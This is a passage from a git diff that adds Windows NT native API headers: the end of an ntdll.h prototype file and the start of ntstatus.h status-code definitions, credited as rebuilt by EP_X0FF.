IN ULONG AutoInheritFlags, + IN PGENERIC_MAPPING GenericMapping, + IN HANDLE Token OPTIONAL + ); + +typedef ULONG (NTAPI RTLP_UNHANDLED_EXCEPTION_FILTER) ( + struct _EXCEPTION_POINTERS *ExceptionInfo + ); + +typedef RTLP_UNHANDLED_EXCEPTION_FILTER *PRTLP_UNHANDLED_EXCEPTION_FILTER; + +VOID +RtlSetUnhandledExceptionFilter ( + PRTLP_UNHANDLED_EXCEPTION_FILTER UnhandledExceptionFilter + ); + +NTSTATUS +NTAPI +RtlStartProfile ( + VOID + ); + +NTSTATUS +NTAPI +RtlStopProfile ( + VOID + ); + +NTSTATUS +RtlWow64EnableFsRedirection( + IN BOOLEAN Wow64FsEnableRedirection + ); + + +NTSTATUS +RtlWow64EnableFsRedirectionEx( + IN PVOID Wow64FsEnableRedirection, + OUT PVOID *OldFsRedirectionLevel + ); + +NTSTATUS +NTAPI +RtlRegisterWait( + OUT PHANDLE WaitHandle, + IN HANDLE Handle, + IN WAITORTIMERCALLBACKFUNC Function, + IN PVOID Context, + IN ULONG Milliseconds, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +RtlDeregisterWait( + IN HANDLE WaitHandle + ); + +NTSTATUS +NTAPI +RtlDeregisterWaitEx( + IN HANDLE WaitHandle, + IN HANDLE Event + ); + +#define RtlEqualMemory(Destination,Source,Length) (!memcmp((Destination),(Source),(Length))) +#define RtlMoveMemory(Destination,Source,Length) memmove((Destination),(Source),(Length)) +#define RtlCopyMemory(Destination,Source,Length) memcpy((Destination),(Source),(Length)) +#define RtlFillMemory(Destination,Length,Fill) memset((Destination),(Fill),(Length)) +#define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length)) + +typedef +VOID +(*PKNORMAL_ROUTINE) +(IN PVOID NormalContext, + IN PVOID SystemArgument1, + IN PVOID SystemArgument2 + ); + +VOID +KiUserCallbackDispatcher( + IN ULONG ApiNumber, + IN PVOID InputBuffer, + IN ULONG INputLength + ); + +NTSTATUS +NTAPI +CsrClientConnectToServer( + IN PWSTR ObjectDirectory, + IN ULONG ServertDllIndex, + IN PCSR_CALLBACK_INFO CallbackInformation OPTIONAL, + IN PVOID ConnectionInformation, + IN OUT PULONG ConnectionInformationLength OPTIONAL, + OUT PBOOLEAN CalledFromServer OPTIONAL + ); + + +NTSTATUS +NTAPI +CsrClientCallServer( + IN OUT PCSR_API_MSG m, + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer OPTIONAL, + IN CSR_API_NUMBER ApiNumber, + IN ULONG ArgLength + ); + + +PCSR_CAPTURE_HEADER +NTAPI +CsrAllocateCaptureBuffer( + IN ULONG CountMessagePointers, + IN ULONG CountCapturePointers, + IN ULONG Size + ); + +VOID +NTAPI +CsrFreeCaptureBuffer( + IN PCSR_CAPTURE_HEADER CaptureBuffer + ); + + +ULONG +NTAPI +CsrAllocateMessagePointer( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN ULONG Length, + OUT PVOID *Pointer + ); + +VOID +NTAPI +CsrCaptureMessageBuffer( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN PVOID Buffer OPTIONAL, + IN ULONG Length, + OUT PVOID *CapturedBuffer + ); + +VOID +NTAPI +CsrCaptureMessageString( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN PCSTR String, + IN ULONG Length, + IN ULONG MaximumLength, + OUT PSTRING CapturedString + ); + +PLARGE_INTEGER +NTAPI +CsrCaptureTimeout( + IN ULONG Milliseconds, + OUT PLARGE_INTEGER Timeout + ); + +VOID +NTAPI +CsrProbeForWrite( + IN PVOID Address, + IN ULONG Length, + IN ULONG Alignment + ); + +VOID +NTAPI +CsrProbeForRead( + IN PVOID Address, + IN ULONG Length, + IN ULONG Alignment + ); + +NTSTATUS +NTAPI +CsrNewThread( + VOID + ); + +NTSTATUS +NTAPI +CsrIdentifyAlertableThread( + VOID + ); + +NTSTATUS +NTAPI +CsrSetPriorityClass( + IN HANDLE ProcessHandle, + IN OUT PULONG PriorityClass + ); + +//added 20/03/2011 +NTSTATUS +NTAPI +RtlCreateProcessReflection( + IN HANDLE ProcessHandle, + IN ULONG Flags, + IN OPTIONAL PVOID StartRoutine, + IN OPTIONAL PVOID StartContext, + IN OPTIONAL HANDLE EventHandle, + OUT OPTIONAL PRTL_PROCESS_REFLECTION_INFORMATION ReflectionInformation + ); + + +NTSTATUS +NTAPI +RtlCloneUserProcess( + IN ULONG ProcessFlags, + IN OPTIONAL PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + IN OPTIONAL PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + IN OPTIONAL HANDLE DebugPort, + OUT PRTL_USER_PROCESS_INFORMATION ProcessInformation + ); + + +VOID +NTAPI +LdrShutdownProcess( + ); + +NTSTATUS +NTAPI +RtlQueryProcessModuleInformation( + IN HANDLE hProcess OPTIONAL, + IN ULONG Flags, + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessBackTraceInformation( + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessHeapInformation( + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessLockInformation( + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +PRTL_DEBUG_INFORMATION +NTAPI +RtlCreateQueryDebugBuffer( + IN ULONG MaximumCommit OPTIONAL, + IN BOOLEAN UseEventPair + ); + +NTSTATUS +NTAPI +RtlDestroyQueryDebugBuffer( + IN PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessDebugInformation( + IN HANDLE UniqueProcessId, + IN ULONG Flags, + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlCreateTimer( + IN HANDLE TimerQueueHandle, + OUT HANDLE *Handle, + IN WAITORTIMERCALLBACKFUNC Function, + IN PVOID Context, + IN ULONG DueTime, + IN ULONG Period, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +RtlUpdateTimer( + IN HANDLE TimerQueueHandle, + IN HANDLE TimerHandle, + IN ULONG DueTime, + IN ULONG Period + ); + +NTSTATUS +NTAPI +RtlDeleteTimer( + IN HANDLE TimerQueueHandle, + IN HANDLE TimerToCancel, + IN HANDLE Event + ); + +NTSTATUS +NTAPI +RtlDeleteTimerQueue( + IN HANDLE TimerQueueHandle + ); + +NTSTATUS +NTAPI +RtlDeleteTimerQueueEx( + IN HANDLE TimerQueueHandle, + IN HANDLE Event + ); + + +BOOLEAN +NTAPI +RtlDoesFileExists_U( + PCWSTR FileName + ); + + +ULONG +RtlGetCurrentDirectory_U( + ULONG nBufferLength, + PWSTR lpBuffer + ); + +NTSTATUS +RtlSetCurrentDirectory_U( + PUNICODE_STRING PathName + ); + + +ULONG +RtlDosSearchPath_U( + IN PWSTR lpPath, + IN PWSTR lpFileName, + IN PWSTR lpExtension OPTIONAL, + IN ULONG nBufferLength, + OUT PWSTR lpBuffer, + OUT PWSTR *lpFilePart + ); + + +void +NTAPI +RtlInitString( + PSTRING DestinationString, + PCSZ SourceString + ); + +ULONG +NTAPI +RtlGetFullPathName_U( + IN PCWSTR lpFileName, + IN ULONG nBufferLength, + OUT PWSTR lpBuffer, + OUT OPTIONAL PWSTR *lpFilePart + ); + +LONG +NTAPI +RtlCompareString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + + +NTSTATUS +NTAPI +LdrRegisterDllNotification( + IN ULONG Flags, + IN PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, + IN PVOID Context, + OUT PVOID *Cookie + ); + + +NTSTATUS +NTAPI +LdrUnregisterDllNotification( + IN PVOID Cookie + ); + + +ULONG +NTAPI +EtwRegisterSecurityProvider(); + +ULONG +NTAPI +EtwWriteUMSecurityEvent( + PCEVENT_DESCRIPTOR EventDescriptor, + USHORT EventProperty, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData); + + +ULONG +NTAPI +EtwEventWriteEndScenario( + REGHANDLE RegHandle, + PCEVENT_DESCRIPTOR EventDescriptor, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData + ); + +ULONG +NTAPI +EtwEventWriteFull( + REGHANDLE RegHandle, + PCEVENT_DESCRIPTOR EventDescriptor, + USHORT EventProperty, + LPCGUID ActivityId, + LPCGUID RelatedActivityId, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData + ); + + +ULONG +NTAPI +EtwEventWriteStartScenario( + REGHANDLE RegHandle, + PCEVENT_DESCRIPTOR EventDescriptor, + ULONG UserDataCount, + PEVENT_DATA_DESCRIPTOR UserData + ); + + +// +// old channel apis, from nt4 +// + +NTSTATUS +NTAPI +NtCreateChannel ( + OUT PHANDLE ChannelHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL + ); + +NTSTATUS +NTAPI +NtOpenChannel ( + OUT PHANDLE ChannelHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS +NTAPI +NtListenChannel ( + IN HANDLE ChannelHandle, + OUT PCHANNEL_MESSAGE *Message + ); + +NTSTATUS +NTAPI +NtSendWaitReplyChannel ( + IN HANDLE ChannelHandle, + IN PVOID Text, + IN ULONG Length, + OUT PCHANNEL_MESSAGE *Message + ); + +NTSTATUS +NTAPI +NtReplyWaitSendChannel ( + IN PVOID Text, + IN ULONG Length, + OUT PCHANNEL_MESSAGE *Message + ); + + +ULONG +NTAPI +AlpcUnregisterCompletionListWorkerThread( + PVOID CompletionList + ); + + +void +NTAPI +RtlUpdateClonedCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +RtlGetFullPathName_UstrEx( + PUNICODE_STRING FileName, + PUNICODE_STRING StaticString, + PUNICODE_STRING DynamicString, + PPUNICODE_STRING StringUsed, + PULONG FilePartPrefixCch, + PUCHAR NameInvalid, + PRTL_PATH_TYPE InputPathType, + PULONG BytesRequired); + +int +NTAPI +LdrInitShimEngineDynamic( + PVOID pShimEngineModule); + +NTSTATUS +NTAPI +NtCreateKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + ULONG TitleIndex, + IN OPTIONAL PUNICODE_STRING Class, + IN ULONG CreateOptions, + OUT OPTIONAL PULONG Disposition + ); + +NTSTATUS +NTAPI +NtSetValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN OPTIONAL ULONG TitleIndex, + IN ULONG Type, + IN OPTIONAL PVOID Data, + IN ULONG DataSize + ); + +NTSTATUS +NTAPI +NtDeleteFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS +RtlGetVersion( + OUT PRTL_OSVERSIONINFOW lpVersionInformation + ); + +NTSTATUS +NTAPI +ZwWow64QueryInformationProcess64( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +ZwWow64QueryVirtualMemory64( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN MEMORY_INFORMATION_CLASS MemoryInformationClass, + OUT PVOID MemoryInformation, + IN SIZE_T MemoryInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + +NTSTATUS +NTAPI +ZwWow64ReadVirtualMemory64( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + +NTSTATUS +NTAPI +ZwWow64WriteVirtualMemory64( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN CONST VOID *Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + +void +NTAPI +ZwWow64GetCurrentProcessorNumberEx( + OUT PPROCESSOR_NUMBER ProcNumber +); + +PCSR_CAPTURE_HEADER +NTAPI +ZwWow64CsrAllocateCaptureBuffer( + IN ULONG CountMessagePointers, + IN ULONG CountCapturePointers, + IN ULONG Size + ); + +ULONG +NTAPI +ZwWow64CsrAllocateMessagePointer( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN ULONG Length, + OUT PVOID *Pointer + ); + +void +NTAPI +ZwWow64CsrCaptureMessageBuffer( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN PVOID Buffer OPTIONAL, + IN ULONG Length, + OUT PVOID *CapturedBuffer + ); + +void +NTAPI +ZwWow64CsrCaptureMessageString( + IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + IN PCSTR String, + IN ULONG Length, + IN ULONG MaximumLength, + OUT PSTRING CapturedString + ); + +NTSTATUS +NTAPI +ZwWow64CsrClientConnectToServer( + IN PWSTR ObjectDirectory, + IN ULONG ServerDllIndex, + IN PCSR_CALLBACK_INFO CallbackInformation OPTIONAL, + IN PVOID ConnectionInformation, + IN OUT PULONG ConnectionInformationLength OPTIONAL, + OUT PBOOLEAN CalledFromServer OPTIONAL + ); + +void +NTAPI +ZwWow64CsrFreeCaptureBuffer( + IN PCSR_CAPTURE_HEADER CaptureBuffer + ); + +NTSTATUS +NTAPI +ZwWow64CsrIdentifyAlertableThread( + void + ); + +NTSTATUS +NTAPI +ZwWow64DebuggerCall ( + IN ULONG ServiceClass, + IN ULONG Arg1, + IN ULONG Arg2 + ); + +NTSTATUS +NTAPI +RtlCleanUpTEBLangLists( + void + ); + +VOID +KiUserApcDispatcher ( + PVOID NormalContext, + PVOID SystemArgument1, + PVOID SystemArgument2, + PKNORMAL_ROUTINE NormalRoutine + ); + +VOID +KiUserExceptionDispatcher ( + PEXCEPTION_RECORD ExceptionRecord, + PCONTEXT ContextFrame + ); + +NTSTATUS +NTAPI +NtCreateDebugObject( + OUT PHANDLE DebugObjectHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Flags + ); + +NTSTATUS +NTAPI +NtDebugActiveProcess( + IN HANDLE ProcessHandle, + IN HANDLE DebugObjectHandle + ); + +NTSTATUS +NTAPI +NtDebugContinue( + IN HANDLE DebugObjectHandle, + IN PCLIENT_ID ClientId, + IN NTSTATUS ContinueStatus + ); + +NTSTATUS +NTAPI +NtRemoveProcessDebug( + IN HANDLE ProcessHandle, + IN HANDLE DebugObjectHandle + ); + +NTSTATUS +NTAPI +NtSetInformationDebugObject( + IN HANDLE DebugObjectHandle, + IN DEBUGOBJECTINFOCLASS DebugObjectInformationClass, + IN PVOID DebugInformation, + IN ULONG DebugInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + +NTSTATUS +NTAPI +NtWaitForDebugEvent( + IN HANDLE DebugObjectHandle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout, + OUT PVOID WaitStateChange + ); + +// Debugging UI + +NTSTATUS +NTAPI +DbgUiConnectToDbg( + VOID + ); + +HANDLE +NTAPI +DbgUiGetThreadDebugObject( + VOID + ); + +VOID +NTAPI +DbgUiSetThreadDebugObject( + IN HANDLE DebugObject + ); + +NTSTATUS +NTAPI +DbgUiWaitStateChange( + OUT PDBGUI_WAIT_STATE_CHANGE StateChange, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + +NTSTATUS +NTAPI +DbgUiContinue( + IN PCLIENT_ID AppClientId, + IN NTSTATUS ContinueStatus + ); + +NTSTATUS +NTAPI +DbgUiStopDebugging( + IN HANDLE Process + ); + +NTSTATUS +NTAPI +DbgUiDebugActiveProcess( + IN HANDLE Process + ); + +VOID +NTAPI +DbgUiRemoteBreakin( + IN PVOID Context + ); + +NTSTATUS +NTAPI +DbgUiIssueRemoteBreakin( + IN HANDLE Process + ); + +VOID +NTAPI +RtlExitUserProcess( + IN NTSTATUS ExitStatus + ); + +NTSTATUS +NTAPI +RtlQueueWorkItem( + IN WORKERCALLBACKFUNC CallbackFunction, + IN OPTIONAL PVOID Context, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +RtlCreateUserStack( + SIZE_T CommittedStackSize, + SIZE_T MaximumStackSize, + SIZE_T ZeroBits, + ULONG PageSize, + ULONG ReserveAlignment, + PINITIAL_TEB InitialTeb + ); + + +LRESULT +NTAPI +NtdllDefWindowProc_W( + ); + + +LRESULT +NTAPI +NtdllDefWindowProc_A( + ); + + +NTSTATUS +NTAPI +LdrQueryProcessModuleInformation( + PRTL_PROCESS_MODULES ModuleInformation, + ULONG ModuleInformationLength, + PULONG ReturnLength + ); + + +// +// end non-crt prototypes +// + + +// +// nt crt +// +//please do not change swprintf stuff otherwise win32 mode is always trashed +#if !defined(_NO_NTDLL_CRT_) +int __cdecl vsprintf( char *, const char *, va_list ); +int __cdecl _vsnprintf( char *, size_t, const char *, va_list ); +int __cdecl sprintf( char *, const char *, ... ); +int __cdecl _snprintf( char *, size_t, const char *, ... ); +int __cdecl _snwprintf( wchar_t *, size_t, const wchar_t *, ... ); +int __cdecl swprintf( wchar_t *, const wchar_t *, ... ); +int __cdecl sscanf( const char *, const char *, ... ); +int __cdecl _vscwprintf( const wchar_t *, va_list ); +int __cdecl _vsnwprintf( wchar_t *, size_t, const wchar_t *, va_list ); + +//readded 4 jan 2012 +//win64 mode does not need this +//for using this routines ntdllp.lib is required +#if !defined(_M_X64) +IMPORT_FN size_t __cdecl wcslen(const wchar_t *); +IMPORT_FN wchar_t * __cdecl wcscat(wchar_t *dst, const wchar_t *src); +IMPORT_FN int __cdecl wcscmp(const wchar_t *src, const wchar_t *dst); +IMPORT_FN int __cdecl _wcsicmp(const wchar_t *, const wchar_t *); +IMPORT_FN int __cdecl _wcsnicmp(const wchar_t *, const wchar_t *, size_t); +IMPORT_FN wchar_t * __cdecl _wcslwr(wchar_t *); +IMPORT_FN wchar_t * __cdecl _wcsupr(wchar_t *); +IMPORT_FN wchar_t * __cdecl wcschr(const wchar_t *string, wchar_t ch); +IMPORT_FN wchar_t * __cdecl wcscpy(wchar_t *dst, const wchar_t *src); +IMPORT_FN wchar_t * __cdecl wcsncat(wchar_t *front, const wchar_t *back, size_t count); +IMPORT_FN wchar_t * __cdecl wcsncpy(wchar_t *dest, const wchar_t *source, size_t count); +#endif //_M_X64 + +#endif // _NO_NTDLL_CRT_ + +#ifdef __cplusplus +} +#endif + + +#endif /* _NTDLL_ */ diff --git a/dep/ntdll/ntstatus.h b/dep/ntdll/ntstatus.h new file mode 100644 index 0000000..6fe7caa --- /dev/null +++ b/dep/ntdll/ntstatus.h @@ -0,0 +1,10243 @@ +/*++ BUILD Version: 0005 // Increment this if a change has global effects + +Copyright (c) Microsoft Corporation. All rights reserved. + +You may only use this code if you agree to the terms of the Windows Research Kernel Source Code License agreement (see License.txt). +If you do not agree to the terms, do not use the code. + + +Module Name: + + ntstatus.h + +Abstract: + + Constant definitions for the NTSTATUS values. + +Notes: + + This file is generated by the MC tool from the ntstatus.mc file. + + Please add new error values to the end of the file. To do otherwise + will jumble the error values. + +Rebuild by EP_X0FF, 2011 for MSVC 2010 + +--*/ + +#ifndef _NTSTATUS_ +#define _NTSTATUS_ + +#if defined (_MSC_VER) && (_MSC_VER >= 1020) +#pragma once +#endif + +#ifndef WIN32_NO_STATUS // winnt +// begin_ntsecapi + + +///////////////////////////////////////////////////////////////////////// +// +// Standard Success values +// +// +///////////////////////////////////////////////////////////////////////// + + +// +// The success status codes 0 - 63 are reserved for wait completion status. +// FacilityCodes 0x5 - 0xF have been allocated by various drivers. +// +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth + +// +// Values are 32 bit values layed out as follows: +// +// 3 3 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1 +// 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 +// +---+-+-+-----------------------+-------------------------------+ +// |Sev|C|R| Facility | Code | +// +---+-+-+-----------------------+-------------------------------+ +// +// where +// +// Sev - is the severity code +// +// 00 - Success +// 01 - Informational +// 10 - Warning +// 11 - Error +// +// C - is the Customer code flag +// +// R - is a reserved bit +// +// Facility - is the facility code +// +// Code - is the facility's status code +// +// +// Define the facility codes +// +#define FACILITY_USB_ERROR_CODE 0x10 +#define FACILITY_TRANSACTION 0x19 +#define FACILITY_TERMINAL_SERVER 0xA +#define FACILITY_SXS_ERROR_CODE 0x15 +#define FACILITY_RPC_STUBS 0x3 +#define FACILITY_RPC_RUNTIME 0x2 +#define FACILITY_IO_ERROR_CODE 0x4 +#define FACILITY_HID_ERROR_CODE 0x11 +#define FACILITY_FIREWIRE_ERROR_CODE 0x12 +#define FACILITY_DEBUGGER 0x1 +#define FACILITY_COMMONLOG_ERROR_CODE 0x1A +#define FACILITY_CLUSTER_ERROR_CODE 0x13 +#define FACILITY_ACPI_ERROR_CODE 0x14 + + +// +// Define the severity codes +// +#define STATUS_SEVERITY_WARNING 0x2 +#define STATUS_SEVERITY_SUCCESS 0x0 +#define STATUS_SEVERITY_INFORMATIONAL 0x1 +#define STATUS_SEVERITY_ERROR 0x3 + + +// +// MessageId: STATUS_WAIT_1 +// +// MessageText: +// +// STATUS_WAIT_1 +// +#define STATUS_WAIT_1 ((NTSTATUS)0x00000001L) + +// +// MessageId: STATUS_WAIT_2 +// +// MessageText: +// +// STATUS_WAIT_2 +// +#define STATUS_WAIT_2 ((NTSTATUS)0x00000002L) + +// +// MessageId: STATUS_WAIT_3 +// +// MessageText: +// +// STATUS_WAIT_3 +// +#define STATUS_WAIT_3 ((NTSTATUS)0x00000003L) + +// +// MessageId: STATUS_WAIT_63 +// +// MessageText: +// +// STATUS_WAIT_63 +// +#define STATUS_WAIT_63 ((NTSTATUS)0x0000003FL) + + +// +// The success status codes 128 - 191 are reserved for wait completion +// status with an abandoned mutant object. +// +#define STATUS_ABANDONED ((NTSTATUS)0x00000080L) + +// +// MessageId: STATUS_ABANDONED_WAIT_63 +// +// MessageText: +// +// STATUS_ABANDONED_WAIT_63 +// +#define STATUS_ABANDONED_WAIT_63 ((NTSTATUS)0x000000BFL) + +// +// MessageId: STATUS_KERNEL_APC +// +// MessageText: +// +// STATUS_KERNEL_APC +// +#define STATUS_KERNEL_APC ((NTSTATUS)0x00000100L) + +// +// MessageId: STATUS_ALERTED +// +// MessageText: +// +// STATUS_ALERTED +// +#define STATUS_ALERTED ((NTSTATUS)0x00000101L) + +// +// MessageId: STATUS_REPARSE +// +// MessageText: +// +// A reparse should be performed by the Object Manager since the name of the file resulted in a symbolic link. +// +#define STATUS_REPARSE ((NTSTATUS)0x00000104L) + +// +// MessageId: STATUS_MORE_ENTRIES +// +// MessageText: +// +// Returned by enumeration APIs to indicate more information is available to successive calls. +// +#define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L) + +// +// MessageId: STATUS_NOT_ALL_ASSIGNED +// +// MessageText: +// +// Indicates not all privileges referenced are assigned to the caller. +// This allows, for example, all privileges to be disabled without having to know exactly which privileges are assigned. +// +#define STATUS_NOT_ALL_ASSIGNED ((NTSTATUS)0x00000106L) + +// +// MessageId: STATUS_SOME_NOT_MAPPED +// +// MessageText: +// +// Some of the information to be translated has not been translated. +// +#define STATUS_SOME_NOT_MAPPED ((NTSTATUS)0x00000107L) + +// +// MessageId: STATUS_OPLOCK_BREAK_IN_PROGRESS +// +// MessageText: +// +// An open/create operation completed while an oplock break is underway. +// +#define STATUS_OPLOCK_BREAK_IN_PROGRESS ((NTSTATUS)0x00000108L) + +// +// MessageId: STATUS_VOLUME_MOUNTED +// +// MessageText: +// +// A new volume has been mounted by a file system. +// +#define STATUS_VOLUME_MOUNTED ((NTSTATUS)0x00000109L) + +// +// MessageId: STATUS_RXACT_COMMITTED +// +// MessageText: +// +// This success level status indicates that the transaction state already exists for the registry sub-tree, but that a transaction commit was previously aborted. +// The commit has now been completed. +// +#define STATUS_RXACT_COMMITTED ((NTSTATUS)0x0000010AL) + +// +// MessageId: STATUS_NOTIFY_CLEANUP +// +// MessageText: +// +// This indicates that a notify change request has been completed due to closing the handle which made the notify change request. +// +#define STATUS_NOTIFY_CLEANUP ((NTSTATUS)0x0000010BL) + +// +// MessageId: STATUS_NOTIFY_ENUM_DIR +// +// MessageText: +// +// This indicates that a notify change request is being completed and that the information is not being returned in the caller's buffer. +// The caller now needs to enumerate the files to find the changes. +// +#define STATUS_NOTIFY_ENUM_DIR ((NTSTATUS)0x0000010CL) + +// +// MessageId: STATUS_NO_QUOTAS_FOR_ACCOUNT +// +// MessageText: +// +// {No Quotas} +// No system quota limits are specifically set for this account. +// +#define STATUS_NO_QUOTAS_FOR_ACCOUNT ((NTSTATUS)0x0000010DL) + +// +// MessageId: STATUS_PRIMARY_TRANSPORT_CONNECT_FAILED +// +// MessageText: +// +// {Connect Failure on Primary Transport} +// An attempt was made to connect to the remote server %hs on the primary transport, but the connection failed. +// The computer WAS able to connect on a secondary transport. +// +#define STATUS_PRIMARY_TRANSPORT_CONNECT_FAILED ((NTSTATUS)0x0000010EL) + +// +// MessageId: STATUS_PAGE_FAULT_TRANSITION +// +// MessageText: +// +// Page fault was a transition fault. +// +#define STATUS_PAGE_FAULT_TRANSITION ((NTSTATUS)0x00000110L) + +// +// MessageId: STATUS_PAGE_FAULT_DEMAND_ZERO +// +// MessageText: +// +// Page fault was a demand zero fault. +// +#define STATUS_PAGE_FAULT_DEMAND_ZERO ((NTSTATUS)0x00000111L) + +// +// MessageId: STATUS_PAGE_FAULT_COPY_ON_WRITE +// +// MessageText: +// +// Page fault was a demand zero fault. +// +#define STATUS_PAGE_FAULT_COPY_ON_WRITE ((NTSTATUS)0x00000112L) + +// +// MessageId: STATUS_PAGE_FAULT_GUARD_PAGE +// +// MessageText: +// +// Page fault was a demand zero fault. +// +#define STATUS_PAGE_FAULT_GUARD_PAGE ((NTSTATUS)0x00000113L) + +// +// MessageId: STATUS_PAGE_FAULT_PAGING_FILE +// +// MessageText: +// +// Page fault was satisfied by reading from a secondary storage device. +// +#define STATUS_PAGE_FAULT_PAGING_FILE ((NTSTATUS)0x00000114L) + +// +// MessageId: STATUS_CACHE_PAGE_LOCKED +// +// MessageText: +// +// Cached page was locked during operation. +// +#define STATUS_CACHE_PAGE_LOCKED ((NTSTATUS)0x00000115L) + +// +// MessageId: STATUS_CRASH_DUMP +// +// MessageText: +// +// Crash dump exists in paging file. +// +#define STATUS_CRASH_DUMP ((NTSTATUS)0x00000116L) + +// +// MessageId: STATUS_BUFFER_ALL_ZEROS +// +// MessageText: +// +// Specified buffer contains all zeros. +// +#define STATUS_BUFFER_ALL_ZEROS ((NTSTATUS)0x00000117L) + +// +// MessageId: STATUS_REPARSE_OBJECT +// +// MessageText: +// +// A reparse should be performed by the Object Manager since the name of the file resulted in a symbolic link. +// +#define STATUS_REPARSE_OBJECT ((NTSTATUS)0x00000118L) + +// +// MessageId: STATUS_RESOURCE_REQUIREMENTS_CHANGED +// +// MessageText: +// +// The device has succeeded a query-stop and its resource requirements have changed. +// +#define STATUS_RESOURCE_REQUIREMENTS_CHANGED ((NTSTATUS)0x00000119L) + +// +// MessageId: STATUS_TRANSLATION_COMPLETE +// +// MessageText: +// +// The translator has translated these resources into the global space and no further translations should be performed. +// +#define STATUS_TRANSLATION_COMPLETE ((NTSTATUS)0x00000120L) + +// +// MessageId: STATUS_DS_MEMBERSHIP_EVALUATED_LOCALLY +// +// MessageText: +// +// The directory service evaluated group memberships locally, as it was unable to contact a global catalog server. +// +#define STATUS_DS_MEMBERSHIP_EVALUATED_LOCALLY ((NTSTATUS)0x00000121L) + +// +// MessageId: STATUS_NOTHING_TO_TERMINATE +// +// MessageText: +// +// A process being terminated has no threads to terminate. +// +#define STATUS_NOTHING_TO_TERMINATE ((NTSTATUS)0x00000122L) + +// +// MessageId: STATUS_PROCESS_NOT_IN_JOB +// +// MessageText: +// +// The specified process is not part of a job. +// +#define STATUS_PROCESS_NOT_IN_JOB ((NTSTATUS)0x00000123L) + +// +// MessageId: STATUS_PROCESS_IN_JOB +// +// MessageText: +// +// The specified process is part of a job. +// +#define STATUS_PROCESS_IN_JOB ((NTSTATUS)0x00000124L) + +// +// MessageId: STATUS_VOLSNAP_HIBERNATE_READY +// +// MessageText: +// +// {Volume Shadow Copy Service} +// The system is now ready for hibernation. +// +#define STATUS_VOLSNAP_HIBERNATE_READY ((NTSTATUS)0x00000125L) + +// +// MessageId: STATUS_FSFILTER_OP_COMPLETED_SUCCESSFULLY +// +// MessageText: +// +// A file system or file system filter driver has successfully completed an FsFilter operation. +// +#define STATUS_FSFILTER_OP_COMPLETED_SUCCESSFULLY ((NTSTATUS)0x00000126L) + + +///////////////////////////////////////////////////////////////////////// +// +// Standard Information values +// +///////////////////////////////////////////////////////////////////////// + +// +// MessageId: STATUS_OBJECT_NAME_EXISTS +// +// MessageText: +// +// {Object Exists} +// An attempt was made to create an object and the object name already existed. +// +#define STATUS_OBJECT_NAME_EXISTS ((NTSTATUS)0x40000000L) + +// +// MessageId: STATUS_THREAD_WAS_SUSPENDED +// +// MessageText: +// +// {Thread Suspended} +// A thread termination occurred while the thread was suspended. The thread was resumed, and termination proceeded. +// +#define STATUS_THREAD_WAS_SUSPENDED ((NTSTATUS)0x40000001L) + +// +// MessageId: STATUS_WORKING_SET_LIMIT_RANGE +// +// MessageText: +// +// {Working Set Range Error} +// An attempt was made to set the working set minimum or maximum to values which are outside of the allowable range. +// +#define STATUS_WORKING_SET_LIMIT_RANGE ((NTSTATUS)0x40000002L) + +// +// MessageId: 